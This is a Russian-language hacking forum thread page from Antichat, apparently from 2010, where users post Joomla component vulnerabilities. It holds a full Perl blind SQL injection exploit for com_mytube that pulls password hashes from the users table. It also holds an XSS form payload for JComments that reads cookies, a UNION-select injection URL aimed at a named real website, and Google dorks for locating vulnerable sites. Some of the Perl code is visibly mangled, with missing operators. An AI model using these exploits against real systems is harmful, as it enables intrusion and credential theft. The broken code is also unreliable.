ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > Сценарии/CMF/СMS
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #181  
Старый 17.04.2010, 18:20
Аватар для [@p05]
[@p05]
Познающий
Регистрация: 20.04.2007
Сообщений: 49
Провел на форуме:
234777

Репутация: 44
По умолчанию

Цитата:
товарищи, кто подскажет как узнать полную версию Joomla? вариант с configuration.php-dist не прокатит.
Версию можно посмотреть в файле /includes/version.php
 
Ответить с цитированием

  #182  
Старый 23.04.2010, 11:43
Аватар для radcor
radcor
Новичок
Регистрация: 10.04.2008
Сообщений: 2
Провел на форуме:
799982

Репутация: 0
По умолчанию

Blind SQL Injection joomla component com_mytube (user_id)

PHP код:
#!/usr/bin/perl -w

#---------------------------------------------------------------------------------
#joomla component com_mytube (user_id) Blind SQL Injection Vulnerability
#---------------------------------------------------------------------------------

#Author         : Chip D3 Bi0s
#Group          : LatiHackTeam
#Email          : chipdebios[alt+64]gmail.com
#Date           : 15 September 2009
#Critical Lvl   : Moderate
#Impact            : Exposure of sensitive information
#Where            : From Remote
#---------------------------------------------------------------------------

#Affected software description:
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

#Application   : MyRemote Video Gallery
#version       : 1.0 Beta 
#Developer     : Jomtube Team
#License       : GPL            type  : Non-Commercial
#Date Added    : Aug 24, 2009
#Download      : http://joomlacode.org/gf/download/frsrelease/10834/42943/com_mytube_1.0.0_2009.08.02.zip
#Description   :

#MyRemote Video Gallery is the most Powerful Video Extension made for Joomla 1.5x
#which will allow you to transform your Website into a professional looking Video
#Gallery with functionality that is similar to YouTube.com. MyRemote Video Gallery
#is an open source (GNU GPL) video sharing Joomla extension has been created
#specifically for the Joomla 1.5x (MVC) Framework and can not be used without Joomla.

#MyRemote Video Gallery gives you the option to Embed Videos from Youtube and offers
#the Framework so you can create your own Remote Plugins for other Remote Servers like
#Dailymotion, Google Video, Vimeo, Blip.tv, Clipser, Revver, a which will allow you to
#run your site for low cost since all the bandwidth usage and hard drive space is located
#on the video server sites. So if you already have a large library of Videos on some
#Remote Sites like Youtube.com you can build the Video Part of your Site Very Quickly.

#---------------------------------------------------------------------------


#I.Blind SQL injection (user_id)
#Poc/Exploit:
#~~~~~~~~~~~
#http://127.0.0.1/[path]/index.php?view=videos&type=member&user_id=X[blind]&option=com_mytube&Itemid=null
#X: Valid User_id

#+++++++++++++++++++++++++++++++++++++++
#[!] Produced in South America
#+++++++++++++++++++++++++++++++++++++++


use LWP::UserAgent;
use 
Benchmark;
my $t1 = new Benchmark;

system ('cls');
print 
"\n\n";
print 
"\t\t[+] ---------------------------------[+]\n";
print 
"\t\t|          |  Chip d3 Bi0s |          |\n";
print 
"\t\t|        MyRemote Video Gallery Bsql  | \n";
print 
"\t\t|joomla component com_mytube (user_id)| \n";
print 
"\t\t[+]----------------------------------[+]\n\n";


print 
"http://127.0.0.1/[path]/index.php?view=videos&type=member&user_id=62:\n";chomp(my $target=<STDIN>);

$w="Total Videos In Category";
$column_name="concat(password)";
$table_name="jos_users";


$b LWP::UserAgent->new() or die "Could not initialize browser\n";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');

print 
"----------------Inyectando----------------\n";


  
$host $target "+and+1=1&option=com_mytube&Itemid=null";
  
my $res $b->request(HTTP::Request->new(GET=>$host));  my $content $res->content;  my $regexp $w;
  if (
$content =~ /$regexp/) {

$host $target "+and+1=2&option=com_mytube&Itemid=null";
  
my $res $b->request(HTTP::Request->new(GET=>$host));  my $content $res->content;  my $regexp $w;
  if (
$content =~ /$regexp/) {print " [-] Exploit Fallo :(\n";}

else

{print 
" [-] Vulnerable :)\n";

$d=0;


for (
$idusuario=62;$idusuario<=80;$idusuario++) 

{
                    
 
$host $target "+and+ascii(substring((SELECT+".$column_name."+from+".$table_name."+where+id=".$idusuario."+limit+0,1),1,1))>0&option=com_mytube&Itemid=null";
 
my $res $b->request(HTTP::Request->new(GET=>$host));
 
my $content $res->content;
 
my $regexp $w;
 if (
$content =~ /$regexp/) {$idusu[$d]=$idusuario;$d=$d+1}

 }

 print 
" [+] Usuario existentes : "." ".join(',', @idusu) . "\n";

print  
" [-] # Usuario que desea extraer : ";chomp($iduss=<STDIN>);

for (
$x=1;$x<=32;$x++) 
    {

  
$host $target "+and+ascii(substring((SELECT+".$column_name."+from+".$table_name."+where+id=".$iduss."+limit+0,1),".$x.",1))>57&option=com_mytube&Itemid=null";
  
my $res $b->request(HTTP::Request->new(GET=>$host));  my $content $res->content;  my $regexp $w;
  print 
" [!] ";if($x <= ) {print "0$x";}else{print $x;}
  if (
$content =~ /$regexp/)
  {
  
          for (
$c=97;$c<=102;$c++) 

{
 
$host $target "+and+ascii(substring((SELECT+".$column_name."+from+".$table_name."+where+id=".$iduss."+limit+0,1),".$x.",1))=".$c."&option=com_mytube&Itemid=null";
 
my $res $b->request(HTTP::Request->new(GET=>$host));
 
my $content $res->content;
 
my $regexp $w;


 if (
$content =~ /$regexp/) {$char=chr($c); $caracter[$x-1]=chr($c); print "-Caracter: $char\n"$c=102;}
 }


  }
else
{

for (
$c=48;$c<=57;$c++) 

{
 
$host $target "+and+ascii(substring((SELECT+".$column_name."+from+".$table_name."+where+id=".$iduss."+limit+0,1),".$x.",1))=".$c."&option=com_mytube&Itemid=null";
 
my $res $b->request(HTTP::Request->new(GET=>$host));
 
my $content $res->content;
 
my $regexp $w;

 if (
$content =~ /$regexp/) {$char=chr($c); $caracter[$x-1]=chr($c); print "-Caracter: $char\n"$c=57;}
 }


}

    }

print 
" [+] Password   :"." ".join('', @caracter) . "\n";

my $t2 = new Benchmark;
my $tt timediff($t2$t1);
print 
"El script tomo:",timestr($tt),"\n";

}
}

else

{print 
" [-] Exploit Fallo :(\n";} 
milw0rm.com [2009-09-21]
 
Ответить с цитированием

  #183  
Старый 27.05.2010, 13:33
Аватар для lzr
lzr
Новичок
Регистрация: 01.01.2009
Сообщений: 27
Провел на форуме:
125085

Репутация: 31
По умолчанию

XSS vulnerability in JComments

Уязвимые верси: 2.1.0.0 [07/08/2009] и, возможно, ранние
Уведомление JoomlaTune.com: 4 Мая 2010
Тип уязвимости: XSS
Статус: исправлено JoomlaTune.com
Степень опасности: Средний
Детали уязвимости: пользователь может выполнить произвольный JS код в уязвимом приложении. Уязвимость возникает из-за неправильной идентификации пользователя в "admin.jcomments.php". Успешное проведение атаки с помощью данной уязвимости может привести к потере конфиденциальных данных и краже идентификационной информации в виде куков.

Атакующий может использовать браузер для проведения атаки:
Код:
<form method="POST" action="http://joomla/administrator/index.php" name="main">
<input type="hidden" name="name" value='ComntrName"><script>alert(document.cookie)</script>'>
<input type="hidden" name="email" value="example@example.com">
<input type="hidden" name="comment" value="comment text">
<input type="hidden" name="published" value="1">
<input type="hidden" name="option" value="com_jcomments">
<input type="hidden" name="id" value="1">
<input type="hidden" name="task" value="save">
</form>
<script>
document.main.submit();
</script>
Решение: обновление к более поздней версии

(c)http://securityvulns.ru/Xdocument887.html

Последний раз редактировалось lzr; 27.05.2010 в 13:47..
 
Ответить с цитированием

  #184  
Старый 14.06.2010, 20:12
Аватар для .:[melkiy]:.
.:[melkiy]:.
Постоянный
Регистрация: 25.01.2009
Сообщений: 368
Провел на форуме:
5290740

Репутация: 912
По умолчанию

com_elite_experts
исходников не нашел

Expl:
Код:
index.php?option=com_elite_experts&task=showExpertProfileDetailed&getExpertsFromCountry=&language=ru&id=-38+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38+--+
Example:
Код:
http://www.razwod.ru/index.php?option=com_elite_experts&task=showExpertProfileDetailed&getExpertsFromCountry=&language=ru&id=-38+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38+--+
Dopk:
Код:
inurl:"option=com_elite_experts"
//Вроде не боян...
 
Ответить с цитированием

  #185  
Старый 15.06.2010, 11:10
Аватар для f1ng3r
f1ng3r
Участник форума
Регистрация: 14.01.2009
Сообщений: 257
Провел на форуме:
1936181

Репутация: 688
Отправить сообщение для f1ng3r с помощью ICQ
По умолчанию

joomla image_com Blind Sql Injection

Dork
Код:
 inurl:"com_image"
Code

Код:
site/patch/index.php?option=com_image&view=[sqli]
site/patch/index.php?option=com_image&Itemid=87&gallery=[sqli]
site/patch/index.php?option=com_image&view=image&Itemid=[sqli]
site/patch/index.php?option=com_image&page=[sqli]
© Inj3ct0r.com [2010-06-14]
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[Обзор уязвимостей в форумных движках] Grey Форумы 48 28.12.2009 20:03
Обзор бесплатных Cms em00s7 PHP, PERL, MySQL, JavaScript 16 03.07.2009 13:13
Cms Cawabunga PHP, PERL, MySQL, JavaScript 20 05.08.2007 00:31



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ